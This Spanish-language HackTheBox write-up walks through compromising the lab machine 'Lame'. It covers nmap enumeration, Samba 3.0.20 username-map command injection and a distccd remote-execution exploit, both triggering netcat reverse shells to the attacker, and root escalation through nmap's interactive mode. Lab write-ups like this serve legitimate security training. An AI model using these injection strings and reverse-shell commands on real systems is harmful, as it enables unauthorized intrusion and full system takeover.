HackTheBox - Máquina Lame
Enumeración
Lanzamos un escaneo para ver los puertos que tiene abiertos y después lanzamos para obtener versiones y scripts básicos de nmap.
nmap -sS --min-rate 5000 -p- --open -T5 -v -n -Pn -oG allPorts 10.10.10.3
nmap -sV -sC -p21,22,139,445,3632 10.10.10.3 -oN targeted
Y obtenemos el siguiente resultado:
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Explotación
Cuando empecé con esta máquina de HTB usé Metasploit por no tener experiencia. Cuando me propuse crear este contenido también empece a ver vídeos y streams de gente que se dedica al mundo de la Ciberseguridad para adquirir conocimientos. Viendo un vídeo acerca de esta máquina, vi que también se podía hacer de forma manual por lo que también lo voy hacer de esta forma para adquirir ese conocimiento.
Después de analizar el FTP mediante el acceso anónimo y ver que no hay nada disponible, analizamos samba y el software distcc como posible vector de ataque.
Automática (Metasploit)
Buscamos la versión de samba 3.0.20 con searchsploit.
searchsploit samba 3.0.20
Y obtenemos el siguiente resultado:
--------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass | multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - Username map script Command Execution (Metasploit) | unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt
Samba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC) | linux_x86/dos/36741.py
---------------------------------------------------------------------------------------------------------------------------------------------------------
Abrimos metasploit y usamos use exploit/multi/samba/usermap_script
. Configuramos las opciones con show options
y el payload show payload
(cmd/unix/reverse
), el siguiente paso es ejecutar con exploit
y obtenemos la reverse shell. Ya solo quedaría obtener la flag de usuario y de root, ya que de este modo somos root.
Explotación Manual
Como he mencionado antes esta parte la vi en el writeup de s4vitar, por lo que voy a reproducirla para aprender de forma manual.
Samba
Buscamos un script mediante searchsploit samba 3.0 command execution
y obtenemos lo siguiente:
searchsploit samba 3. command execution
------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------- ---------------------------------
Samba 3.0.20 < 3.0.25rc3 - Username map script Command Execution (Metasploit) | unix/remote/16320.rb
---------------------------------------------------------------------------------------------------------------------
Mediante smbmap -H 10.10.10.3
vemos los permisos de los recursos compartidos de la máquina:
smbmap -H 10.10.10.3
[+] IP: 10.10.10.3:445 Name: 10.10.10.3
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
tmp READ, WRITE oh noes!
opt NO ACCESS
IPC$ NO ACCESS IPC Service (lame server (Samba 3.0.20-Debian))
ADMIN$ NO ACCESS IPC Service (lame server (Samba 3.0.20-Debian))
Nos conectamos al directorio /tmp smbclient //10.10.10.3/tmp --option="client min protocol=NT1" -N
utilizando null sesión, también hay que añadirle el parámetro –option ya que si no lo pones te saltara un error de autenticación.
Analizando el script vemos que hace un login con el siguiente usuario:
`username = "/=`nohup " + payload.encoded + "`"`
Estando conectado al recurso compartido, lanzamos un login con el siguiente formato para poder obtener una conexión vía netcat a nuestra máquina.
smb: \> logon "/=`nohup nc -e /bin/bash <ip_atacante> <puerto>`"
Password: (Damos enter)
Distcc
Si hacemos un searchsploit distcc
nos sale lo siguiente:
--------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------- ---------------------------------
DistCC Daemon - Command Execution (Metasploit) | multiple/remote/9915.rb
--------------------------------------------------------------------------------------------- ---------------------------------
Como se puede ver hay un script pero es a través de Metasploit, para hacerlo de forma manual con exploit github
Ejecutamos con un whoami para probar:
python3 distccd_rce_CVE-2004-2687.py -h 10.10.10.3 -p 3632 -c whoami
Cuando yo hice la prueba me daba el siguiente error:
[OK] Connected to remote service
a bytes-like object is required, not 'str'
[KO] Exception Raised
Por lo que tuve que editar para añadir el str.encode() y el decode en la siguientes variables:
Cuando el lanzamiento ha sido satisfactorio obtenemos por pantalla el usuario daemon
, el siguiente paso es lanzar una shell hacia nuestra máquina:
python3 distccd_rce_CVE-2004-2687.py -h 10.10.10.3 -p 3632 -c 'nohup nc -e /bin/bash <ip> <puerto> &'
[IMPORTANTE] El nohup se pone para que cuando se lanza un exploit que te da una sesión y se cierra, se quede en segundo plano en otro proceso. Cuando obtenemos la reverse shell hacemos el tratamiento de la shell.
Desde la carpeta home hacemos la búsqueda de la flag de user.txt y la mostramos con:
find \-name user.txt 2>/dev/null | xargs cat
Escalada de privilegios desde distcc
Para escalar privilegios en esta máquina hacemos uso de los suids:
find \-perm -4000 2>/dev/null
Para esta máquina vamos a usar ./usr/bin/nmap para elevar privilegios, para ello usamos GTFOBINS para obtener una shell con el binario nmap.
En GTFOBINS nos dice que hay dos maneras pero mirando la versión de nmap, se puede utilizar la b) The interactive mode, available on versions 2.02 to 5.21, can be used to execute shell commands
daemon@lame:/$ nmap --version
Nmap version 4.53 ( http://insecure.org )
daemon@lame:/$ nmap --interactive
Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
sh-3.2# whoami
root
sh-3.2#
Y ya nos queda ver la flag de root.